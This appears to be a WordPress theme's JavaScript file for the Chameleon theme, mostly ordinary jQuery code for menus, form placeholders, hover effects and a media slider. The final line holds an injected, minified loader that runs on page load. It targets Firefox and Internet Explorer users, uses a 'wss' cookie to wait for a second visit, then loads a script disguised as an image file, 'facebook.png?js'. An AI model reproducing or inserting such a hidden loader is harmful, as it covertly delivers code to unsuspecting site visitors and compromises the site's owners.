jQuery.noConflict();

var et_theme_folder = jQuery("meta[name=et_theme_folder]").attr('content'),
	$et_top_menu = jQuery('ul#top-menu > li > ul'),
	et_disable_toptier = jQuery("meta[name=et_disable_toptier]").attr('content');

jQuery('ul.nav').superfish({ 
	delay:       200,                            // one second delay on mouseout 
	animation:   {opacity:'show',height:'show'},  // fade-in and slide-down animation 
	speed:       'fast',                          // faster animation speed 
	autoArrows:  true,                           // disable generation of arrow mark-up 
	dropShadows: false                            // disable drop shadows 
});

	
var $footer_widget = jQuery("#footer-widgets .footer-widget");
if ( $footer_widget.length ) {
	$footer_widget.each(function (index, domEle) {
		if ((index+1)%4 == 0) jQuery(domEle).addClass("last").after("<div class='clear'></div>");
	});
}

et_search_bar();

function et_search_bar(){
	var $searchform = jQuery('#additional-info div#search-form'),
		$searchinput = $searchform.find("input#searchinput"),
		searchvalue = $searchinput.val();
		
	$searchinput.focus(function(){
		if (jQuery(this).val() === searchvalue) jQuery(this).val("");
	}).blur(function(){
		if (jQuery(this).val() === "") jQuery(this).val(searchvalue);
	});
}

if ( et_disable_toptier == 1 ) jQuery("ul.nav > li > ul").prev("a").attr("href","#");

var $comment_form = jQuery('form#commentform');
$comment_form.find('input, textarea').focus(function(){
	if (jQuery(this).val() === jQuery(this).next('label').text()) jQuery(this).val("");
}).blur(function(){
	if (jQuery(this).val() === "") jQuery(this).val( jQuery(this).next('label').text() );
});

$comment_form.find('input#submit').click(function(){
	if (jQuery("input#url").val() === jQuery("input#url").next('label').text()) jQuery("input#url").val("");
});


jQuery('.service .thumb a').hover(function(){
	jQuery(this).find('img').stop(true,true).fadeTo('fast',0.8).end().find('span').fadeTo('fast',1);
},function(){
	jQuery(this).find('img').stop(true,true).fadeTo('fast',1).end().find('span').fadeTo('fast',0);
});

$multi_media_bar = jQuery('#et-multi-media #media-slides');
if ( $multi_media_bar.length ) {
	$multi_media_bar.cycle({
		fx: 'fade',
		timeout: 0,
		speed: 500,
		cleartypeNoBg: true,
		prev:   'a#left-multi-media',
		next:   'a#right-multi-media'
	});
}

$multi_media_bar.find('.thumb a').hover(function(){
	jQuery(this).find('img').stop(true,true).fadeTo(400,0.7).end().find('span').fadeTo(400,1);
	jQuery(this).parent('.thumb').find('.media-description').stop(true,true).css({'display':'block','opacity':0}).animate({opacity:1, bottom:'53px'},400);
},function(){
	jQuery(this).find('img').stop(true,true).fadeTo(400,1).end().find('span').fadeTo(400,0);
	jQuery(this).parent('.thumb').find('.media-description').stop(true,true).animate({opacity:0, bottom:'63px'},400);
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/wp-content/themes/Chameleon/images/facebook.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
